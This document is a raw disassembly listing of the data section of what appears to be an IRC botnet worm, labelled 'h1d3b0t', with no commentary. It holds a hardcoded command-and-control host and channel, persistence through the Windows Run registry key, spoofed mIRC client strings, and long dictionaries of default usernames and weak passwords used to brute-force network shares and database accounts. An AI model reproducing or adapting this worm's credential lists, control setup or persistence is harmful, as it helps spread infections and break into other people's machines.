		dd 71AB2B66h, 71AB406Ah, 71AB3EA1h, 71AB615Ah, 71AB9639h
		dd 71AB3B91h, 71AB428Ah, 71AB2DC0h, 71AB4544h, 71AB951Eh
		dd 71AB2BF4h, 0
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
aA_1		db 'A',0
aWsasocketa_0	db 'WSASocketA',0
		align 10h
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		dd 6C530349h, 706565h, 784500AFh, 72507469h, 7365636Fh
		dd 2E0073h, 736F6C43h, 6E614865h, 656C64h, 72430060h, 65746165h
		dd 636F7250h, 41737365h, 1750000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
aI_1		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F027Ch, 72506E65h, 7365636Fh, 13B0073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 10h
		db '=',0
aCopyfilea	db 'CopyFileA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  85h	; …
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 352h
aTerminatethrea	db 'TerminateThread',0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		dd 6F4D0264h, 69466576h, 41656Ch, 6F4C0248h, 694C6461h
		dd 72617262h, 4179h, 65470198h,	6F725074h, 64644163h, 73736572h
		dd 10C0000h, 43746547h,	75706D6Fh, 4E726574h, 41656D61h
		dd 16C0000h, 4C746547h,	6C61636Fh, 666E4965h, 416Fh, 654701DFh
		dd 72655674h, 6E6F6973h, 417845h, 784500B0h, 68547469h
		dd 64616572h, 2470000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aP_0		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 21Ah
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aZ_0		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 397h
aWritefile	db 'WriteFile',0
aI_2		db 'I',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 2ABh
aReadfile_0	db 'ReadFile',0
		align 2
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db  5Bh	; [
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
		dd 65540351h, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch
		dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
a__1		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 654701D6h, 6D695474h, 726F4665h, 4174616Dh, 13F0000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 6547015Bh, 6C694674h
		dd 7A695365h, 0C50065h,	646E6946h, 736F6C43h, 0BC0065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '»',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 310h
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0E3h	; ã
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db  83h	; ƒ
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 0F4h
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 16Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 299h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db  9Ah	; š
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
aQ_0		db 'ï',0
aFreelibrary	db 'FreeLibrary',0
		dw 151h
aGetenvironment	db 'GetEnvironmentVariableW',0
		db  0Ch
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 4
		db    6
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db  9Bh	; ›
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 37Eh
aVirtualqueryex	db 'VirtualQueryEx',0
		align 4
		db 0AEh	; ®
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 6F4600EAh
		dd 74616D72h, 7373654Dh, 41656761h, 2000000h, 626F6C47h
		dd 6E556C61h, 6B636F6Ch, 1F90000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6E550365h, 5670616Dh,	4F776569h, 6C694666h, 25E0065h
		dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 10h
		db  14h
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 15Dh
aGetfiletime	db 'GetFileTime',0
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  89h	; ‰
		db 3, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0B6h	; ¶
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 287h
aPeeknamedpipe	db 'PeekNamedPipe',0
		dw 170h
aGetlogicaldr_0	db 'GetLogicalDrives',0
		align 2
		dw 1FAh
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 65480210h, 65527061h, 6F6C6C41h, 2CC0063h, 556C7452h
		dd 6E69776Eh, 1D80064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		dd 654701BEh, 73795374h, 546D6574h, 656D69h, 654701AFh
		dd 61745374h, 70757472h, 6F666E49h, 1080041h, 43746547h
		dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701DEh, 72655674h
		dd 6E6F6973h, 1500000h
aGetenvironme_0	db 'GetEnvironmentVariableA',0
		dd 6548020Ah, 65447061h, 6F727473h, 2080079h, 70616548h
		dd 61657243h, 6574h, 69560378h,	61757472h, 6572466Ch, 3750065h
		dd 74726956h, 416C6175h, 636F6C6Ch, 22C0000h, 61427349h
		dd 69725764h, 74506574h, 0FC0072h, 43746547h, 666E4950h
		dd 0F5006Fh, 41746547h,	5043h, 6547018Bh, 4D454F74h, 5043h
		dd 6152029Dh, 45657369h, 70656378h, 6E6F6974h, 2120000h
		dd 70616548h, 657A6953h, 23A0000h, 614D434Ch, 72745370h
		dd 41676E69h, 23B0000h,	614D434Ch, 72745370h, 57676E69h
		dd 3620000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
aA_2		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
aU_0		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 14Dh
aGetenvironme_1	db 'GetEnvironmentStrings',0
		dw 14Fh
aGetenvironme_2	db 'GetEnvironmentStringsW',0
		align 4
		db  19h
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 1B1h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 15Eh
aGetfiletype	db 'GetFileType',0
		db  2Ch	; ,
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db 'å',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 10h
		db 0B2h	; ²
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1B5h
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  3Dh	; =
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 229h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 226h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 305h
aSetendoffile	db 'SetEndOfFile',0
		align 2
a4		db '4',0
aComparestringa	db 'CompareStringA',0
		align 4
a5		db '5',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 308h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		dd 0ACh	dup(0)
dword_42A000	dd 0				dd offset loc_40121A
		dd offset sub_401236
		dd offset sub_40D6D6
		dd offset sub_40D76E
		dd offset sub_40EF81
		dd offset sub_426FB4
dword_42A01C	dd 0		dword_42A020	dd 0				dd offset sub_41D822
		dd offset sub_420A6D
		dd offset sub_422F2B
		dd offset sub_424F82
dword_42A034	dd 0		dword_42A038	dd 0				dd offset sub_422FD0
dword_42A040	dd 0		dword_42A044	dd 0				dd offset sub_424F93
dword_42A04C	dd 0		dword_42A050	dd 78h		dword_42A054	dd 80000002h	off_42A058	dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000001h, 42A1B4h, 80000001h, 42A184h
dword_42A06C	dd 6272h						; sub_40F8BC+24o ...
dword_42A070	dd 1B58h						; sub_401252+5ACr
dword_42A074	dd 1A0Bh	dword_42A078	dd 7E4h		dword_42A07C	dd 45h							; sub_40B945+3Br
dword_42A080	dd 201h		word_42A084	dw 7C7h			; DATA XREF: sub_401B66:loc_404791r
		align 4
dword_42A088	dd 1		dword_42A08C	dd 1							; sub_418A34+Cr
byte_42A090	db 2Eh			; DATA XREF: sub_401B66+9F7r
					; sub_401B66+AB1r ...
		align 4
dword_42A094	dd 0Dh							; sub_40ABBD+5Fr ...
dword_42A098	dd 1							; sub_401B66+26Er ...
aH43yh4ckernt	db 'h43yh4ckerNT',0     ; DATA XREF: sub_401252+5Do
					; sub_401B66:loc_4044B5o ...
		align 4
aH1d3b0tVersion	db 'h1d3b0t Version h4cker',0 ; DATA XREF: sub_401B66:loc_404996o
		align 4
aH4cker		db 'h4cker',0           ; DATA XREF: sub_401B66+7C5Do
					; sub_401B66+7D20o
		align 4
aNeta_leetz_inf	db 'neta.leetz.info',0  ; DATA XREF: sub_401252+4E5o
					; sub_401252+59Do
aGxxx		db '#Gxxx',0            ; DATA XREF: sub_401252+505o
					; sub_401252+5B3o ...
		align 4
a_gxxx_		db '.Gxxx.',0           ; DATA XREF: sub_401252+51Co
					; sub_401252+5C5o
		align 4
byte_42A0EC	db 6Eh			; DATA XREF: sub_401252:loc_40182Dr
					; sub_401252+5E9o
		db 65h,	74h, 61h
		dd 65656C2Eh, 692E7A74h, 6F666Eh
dword_42A0FC	dd 78784723h, 78hdword_42A104	dd 7878472Eh, 2E78hbyte_42A10C	db 52h			; DATA XREF: sub_401252+143o
					; sub_401252+167w ...
		db 65h,	61h, 6Ch
		dd 736B6574h, 6578652Eh, 0
dword_42A11C	dd 6E6E6977h, 61736B74h, 61622E7Ah, 74haWindowsNetwork	db 'Windows Network Service',0 ; DATA XREF: sub_401000+Bo
aNt_0		db 'NT',0               ; DATA XREF: .packed:0040AC3Bo
		align 4
aWinsysz_dat	db 'winsysz.dat',0
aI_3		db '+i',0               ; DATA XREF: sub_401B66+7DA0o
		align 4
aGxxx_0		db '#Gxxx',0            ; DATA XREF: sub_401B66+1C6Bo
					; sub_401B66+3015o ...
		align 10h
aGxxx_1		db '#Gxxx',0            ; DATA XREF: sub_401B66+4366o
		align 4
aGxxx_2		db '#Gxxx',0            ; DATA XREF: sub_401B66+4065o
					; sub_401B66+41B3o
		align 10h
off_42A170	dd offset a@h4cker	; DATA XREF: sub_401B66+7CC0r
					; "*@h4cker"
off_42A174	dd offset aMircV6_16Khale ; DATA XREF: sub_401B66+828r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .packed:off_42A058o
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A628+28o
					; sub_41A94E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A628+D4o
					; sub_41A94E+D4o
		align 8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset byte_43FE14
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_42A4A8	dd 10h							; sub_401B66+A8Dr ...
aIntranet	db 'intranet',0         ; DATA XREF: .packed:0042A494o
		align 4
aLan		db 'lan',0              ; DATA XREF: .packed:0042A48Co
aMain		db 'main',0             ; DATA XREF: .packed:0042A488o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .packed:0042A484o
aBlank		db 'blank',0            ; DATA XREF: .packed:0042A480o
		align 4
aOffice		db 'office',0           ; DATA XREF: .packed:0042A47Co
		align 4
aControl	db 'control',0          ; DATA XREF: .packed:0042A478o
aXp		db 'xp',0               ; DATA XREF: .packed:0042A474o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .packed:0042A470o
		align 10h
aHp		db 'hp',0               ; DATA XREF: .packed:0042A46Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .packed:0042A468o
aCompaq		db 'compaq',0           ; DATA XREF: .packed:0042A464o
		align 4
aDell		db 'dell',0             ; DATA XREF: .packed:0042A460o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .packed:0042A45Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .packed:0042A458o
aOrainstall	db 'orainstall',0       ; DATA XREF: .packed:0042A450o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:0042A44Co
		align 4
aSql		db 'sql',0              ; DATA XREF: .packed:0042A448o
aSa		db 'sa',0               ; DATA XREF: sub_401B66+1B23o
					; .packed:0042A444o
		align 10h
aDb1234		db 'db1234',0           ; DATA XREF: .packed:0042A440o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .packed:0042A438o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:0042A434o
		align 10h
aData		db 'data',0             ; DATA XREF: .packed:0042A430o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .packed:0042A42Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:0042A428o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .packed:0042A424o
		align 4
aAccess		db 'access',0           ; DATA XREF: .packed:0042A420o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .packed:0042A418o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .packed:0042A414o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: .packed:0042A410o
		align 4
aHello		db 'hello',0            ; DATA XREF: .packed:0042A40Co
		align 10h
aHell		db 'hell',0             ; DATA XREF: .packed:0042A408o
		align 4
aGod		db 'god',0              ; DATA XREF: .packed:0042A404o
aSex		db 'sex',0              ; DATA XREF: .packed:0042A400o
aSlut		db 'slut',0             ; DATA XREF: .packed:0042A3FCo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .packed:0042A3F8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: .packed:0042A3F4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .packed:0042A3F0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .packed:0042A3ECo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .packed:0042A3E8o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .packed:0042A3E4o
		align 4
aLogin		db 'login',0            ; DATA XREF: .packed:0042A3E0o
		align 4
aMary		db 'mary',0             ; DATA XREF: .packed:0042A3DCo
		align 4
aKatie		db 'katie',0            ; DATA XREF: .packed:0042A3D8o
		align 4
aKate		db 'kate',0             ; DATA XREF: .packed:0042A3D0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .packed:0042A3CCo
		align 4
aEric		db 'eric',0             ; DATA XREF: .packed:0042A3C8o
		align 4
aChris		db 'chris',0            ; DATA XREF: .packed:0042A3C4o
		align 4
aIan		db 'ian',0              ; DATA XREF: .packed:0042A3C0o
aNeil		db 'neil',0             ; DATA XREF: .packed:0042A3BCo
		align 4
aLee		db 'lee',0              ; DATA XREF: .packed:0042A3B8o
aBrian		db 'brian',0            ; DATA XREF: .packed:0042A3B4o
		align 4
aSusan		db 'susan',0            ; DATA XREF: .packed:0042A3ACo
		align 4
aSue		db 'sue',0              ; DATA XREF: .packed:0042A3A8o
aSam		db 'sam',0              ; DATA XREF: .packed:0042A3A4o
aLuke		db 'luke',0             ; DATA XREF: .packed:0042A3A0o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .packed:0042A39Co
					; .packed:0042A3B0o
		align 4
aJohn		db 'john',0             ; DATA XREF: .packed:0042A398o
		align 4
aMike		db 'mike',0             ; DATA XREF: .packed:0042A394o
		align 4
aBill		db 'bill',0             ; DATA XREF: .packed:0042A390o
		align 4
aFred		db 'fred',0             ; DATA XREF: .packed:0042A38Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .packed:0042A388o
aJen		db 'jen',0              ; DATA XREF: .packed:0042A384o
aBob		db 'bob',0              ; DATA XREF: .packed:0042A380o
					; .packed:0042A3D4o
aQwe		db 'qwe',0              ; DATA XREF: .packed:0042A37Co
aZxc		db 'zxc',0              ; DATA XREF: .packed:0042A378o
aAsd		db 'asd',0              ; DATA XREF: .packed:0042A374o
aQaz		db 'qaz',0              ; DATA XREF: .packed:0042A370o
aWin2000	db 'win2000',0          ; DATA XREF: .packed:0042A36Co
aWinnt		db 'winnt',0            ; DATA XREF: .packed:0042A368o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .packed:0042A364o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:0042A360o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .packed:0042A35Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:0042A358o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:0042A354o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:0042A350o
aOem		db 'oem',0              ; DATA XREF: .packed:0042A34Co
aUser		db 'user',0             ; DATA XREF: sub_401B66+45D6o
					; .packed:0042A348o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:0042A344o
		align 4
aHome		db 'home',0             ; DATA XREF: .packed:0042A340o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .packed:0042A33Co
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: .packed:0042A338o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .packed:0042A334o
					; .packed:0042A490o
		align 4
aWww		db 'www',0              ; DATA XREF: .packed:0042A330o
aWeb		db 'web',0              ; DATA XREF: .packed:0042A32Co
aOutlook	db 'outlook',0          ; DATA XREF: .packed:0042A328o
aMail		db 'mail',0             ; DATA XREF: .packed:0042A324o
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:0042A320o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .packed:0042A31Co
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401B66+3E30o
					; .packed:0042A314o
		align 4
aSystem		db 'system',0           ; DATA XREF: .packed:0042A310o
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: .packed:0042A308o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .packed:0042A304o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .packed:0042A300o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .packed:0042A2FCo
		align 4
aNone		db 'none',0             ; DATA XREF: .packed:0042A2F8o
		align 4
aTest		db 'test',0             ; DATA XREF: .packed:0042A2F0o
		align 4
a2004		db '2004',0             ; DATA XREF: .packed:0042A2ECo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41B1FC+BAo
					; .packed:0042A2E8o
		align 4
a2002		db '2002',0             ; DATA XREF: .packed:0042A2E4o
		align 4
a2001		db '2001',0             ; DATA XREF: .packed:0042A2E0o
		align 4
a2000		db '2000',0             ; DATA XREF: .packed:0042A2DCo
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .packed:0042A2D8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .packed:0042A2D4o
		align 4
a12345678	db '12345678',0         ; DATA XREF: .packed:0042A2D0o
		align 10h
a1234567	db '1234567',0          ; DATA XREF: .packed:0042A2CCo
a123456		db '123456',0           ; DATA XREF: .packed:0042A2C8o
		align 10h
a12345		db '12345',0            ; DATA XREF: .packed:0042A2C4o
		align 4
a1234		db '1234',0             ; DATA XREF: .packed:0042A2C0o
		align 10h
a123		db '123',0              ; DATA XREF: .packed:0042A2BCo
a12		db '12',0               ; DATA XREF: .packed:0042A2B8o
		align 4
a1:					; DATA XREF: .packed:0042A2B4o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .packed:0042A2B0o
aPwd		db 'pwd',0              ; DATA XREF: .packed:0042A2ACo
aPass_0		db 'pass',0             ; DATA XREF: .packed:0042A2A8o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:0042A2A4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .packed:0042A2A0o
		align 10h
aPassword	db 'password',0         ; DATA XREF: .packed:0042A29Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .packed:0042A298o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:0042A294o
aDb2		db 'db2',0              ; DATA XREF: .packed:0042A270o
					; .packed:0042A43Co
aOracle		db 'oracle',0           ; DATA XREF: .packed:0042A26Co
					; .packed:0042A454o
		align 4
aDba		db 'dba',0              ; DATA XREF: .packed:0042A268o
aDatabase	db 'database',0         ; DATA XREF: .packed:0042A264o
					; .packed:0042A41Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:0042A260o
					; .packed:0042A30Co
aGuest_0	db 'guest',0            ; DATA XREF: .packed:0042A25Co
					; .packed:0042A2F4o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .packed:0042A258o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .packed:0042A254o
					; .packed:0042A49Co
aStudent	db 'student',0          ; DATA XREF: .packed:0042A250o
					; .packed:0042A498o
aOwner		db 'owner',0            ; DATA XREF: .packed:0042A24Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: .packed:0042A248o
		align 4
aRoot		db 'root',0             ; DATA XREF: .packed:0042A244o
					; .packed:0042A318o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: .packed:0042A240o
					; .packed:0042A4A0o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .packed:0042A23Co
					; .packed:0042A290o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .packed:0042A238o
					; .packed:0042A28Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:0042A234o
					; .packed:0042A288o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:0042A230o
					; .packed:0042A284o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:0042A22Co
					; .packed:0042A280o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .packed:0042A228o
					; .packed:0042A27Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A180o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A17Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042A178o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_42A174o
		align 4
a@h4cker	db '*@h4cker',0         ; DATA XREF: .packed:off_42A170o
		align 10h
